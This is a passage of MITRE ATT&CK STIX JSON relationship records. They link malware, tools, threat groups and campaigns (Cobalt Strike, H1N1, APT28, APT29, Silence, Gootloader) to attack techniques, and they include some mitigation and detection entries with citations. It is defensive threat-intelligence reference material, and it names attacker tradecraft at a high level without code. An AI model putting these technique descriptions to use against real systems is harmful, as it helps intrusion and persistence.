Gsecdump)","relationship_type":"uses","source_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d0748e3-7427-4847-9861-75680f6aacb3","created":"2020-11-06T18:40:38.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"},{"source_name":"CobaltStrike Scripted Web Delivery","description":"Strategic Cyber, LLC. (n.d.). Scripted Web Delivery. Retrieved January 23, 2018.","url":"https://www.cobaltstrike.com/help-scripted-web-delivery"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.837Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can download a hosted \"beacon\" payload using [BITSAdmin](https://attack.mitre.org/software/S0190).(Citation: CobaltStrike Scripted Web Delivery)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2019-04-29T18:23:16.022Z","description":"[H1N1](https://attack.mitre.org/software/S0132) disable recovery options and deletes shadow copies from the victim.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d0afb20-dfbd-4f6b-bd75-ee67d8eeb8c6","type":"relationship","created":"2019-01-30T15:33:07.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.449Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d0b7e52-9c7a-47dd-ab12-4dc6942f49f1","created":"2020-03-13T13:51:58.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Vulnerability and Exploit Detector","description":"Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.","url":"https://skanthak.homepage.t-online.de/sentinel.html"},{"source_name":"Microsoft CreateProcess","description":"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"},{"source_name":"Microsoft Dynamic-Link Library Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:57.059Z","description":"Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d0de5c1-ff34-44b5-ba47-b3841eb1b8f3","created":"2022-10-10T16:48:38.325Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:48:38.325Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used a Visual Basic script to run remote commands.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d14ce48-92d3-446d-84f3-a0df761e08fb","created":"2023-04-13T19:55:13.908Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:55:13.908Z","description":" [DarkTortilla](https://attack.mitre.org/software/S1066) has established persistence via the `Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon` registry key.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d1b98bb-cbc8-492a-9861-f350153291cd","created":"2023-02-10T18:49:15.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:13:52.855Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can create a scheduled task named `RecoveryExTask` to gain persistence.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d1bee29-c394-48ca-8ded-21fd86e3ff43","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2020-03-18T20:32:01.664Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve usernames from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d1beee9-0b61-4e66-9487-97f1665bbedc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.573Z","description":"[Brave Prince](https://attack.mitre.org/software/S0252) lists the running processes.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d20e20c-7f01-4834-88de-030ca09ee540","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.097Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d27c0d9-7e8e-4713-b3e1-0d82db27ac9a","created":"2019-01-29T21:27:25.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a"},{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.987Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has conducted watering holes schemes to gain initial access to victims.(Citation: FireEye APT38 Oct 2018)(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d2ebfcb-0b2c-4c69-877e-2ca633c95a17","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.265Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-WmiCommand CodeExecution module uses WMI to execute and retrieve the output from a [PowerShell](https://attack.mitre.org/techniques/T1086) payload.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d30c053-3994-4a3b-b129-870f32edb008","created":"2024-04-13T14:26:43.379Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-13T14:26:43.379Z","description":"Restrict the installation of software that may be abused to create hidden desktops, such as hVNC, to user groups that require it.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d352952-c19d-4e1d-8d23-1001f69b74d0","type":"relationship","created":"2021-04-12T19:26:30.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike MUSTANG PANDA June 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/","description":"Meyers, A. (2018, June 15). Meet CrowdStrike’s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021."},{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:06:51.394Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has embedded VBScript components in LNK files to download additional files and automate collection.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d353aa1-9975-43cf-9aa3-3ef02fd3e61a","type":"relationship","created":"2021-09-28T18:53:02.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T17:05:58.555Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can run the ShellExecuteW API via the Windows Command Shell.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d3a8912-53fd-416b-bef8-f6ad980ae7c0","type":"relationship","created":"2021-06-29T15:11:25.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-08-19T19:14:19.215Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can download files to a compromised host.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d3a898c-bdc3-4cc1-ae14-325dbb60f2e2","type":"relationship","created":"2020-02-04T13:06:49.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:36:36.808Z","description":"Use strong passphrases for private keys to make cracking difficult.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:54:30.296Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.(Citation: Microsoft SIR Vol 19)(Citation: DOJ GRU Indictment Jul 2018)(Citation: TrendMicro Pawn Storm Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d467445-9cce-4e84-968e-7a7ecc0a81fa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}],"modified":"2020-03-19T19:27:44.187Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) uses cmd.exe to execute commands on the victim’s machine.(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2d48265a-b415-4518-bf98-63233819b7f3","created":"2022-03-30T14:26:51.841Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for DNS over TLS (DoT) and DNS over HTTPS (DoH), that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","modified":"2022-06-17T13:49:54.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d49852d-083e-4379-90e3-dcb0748be624","created":"2020-05-13T19:06:23.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.208Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, and the Startup folder to establish persistence.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d4d634d-ed13-462a-916b-94798546ec6c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2019-04-17T22:12:24.802Z","description":"[Elise](https://attack.mitre.org/software/S0081) configures itself as a service.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d4edddf-2870-49cb-a7ee-026b8c09fe2e","type":"relationship","created":"2022-02-10T16:50:32.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"modified":"2022-02-10T16:50:32.685Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has exploited CVE-2021-36934 to escalate privileges on a compromised host.(Citation: ESET T3 Threat Report 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2d4f68c1-6c89-4216-999e-75d68cfb9fa1","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for abnormal access to files (i.e. .pdf, .docx, .jpg, etc.), especially sensitive documents, through the use of automated processing after being gathered during Collection.","modified":"2022-04-12T13:09:52.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2d5baa1d-8a54-4ce2-a983-3fd68e173cb4","created":"2024-06-19T19:22:03.815Z","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-19T19:22:03.815Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) has used compromised legitimate domains to as a delivery network for malicious payloads.(Citation: SentinelOne Gootloader June 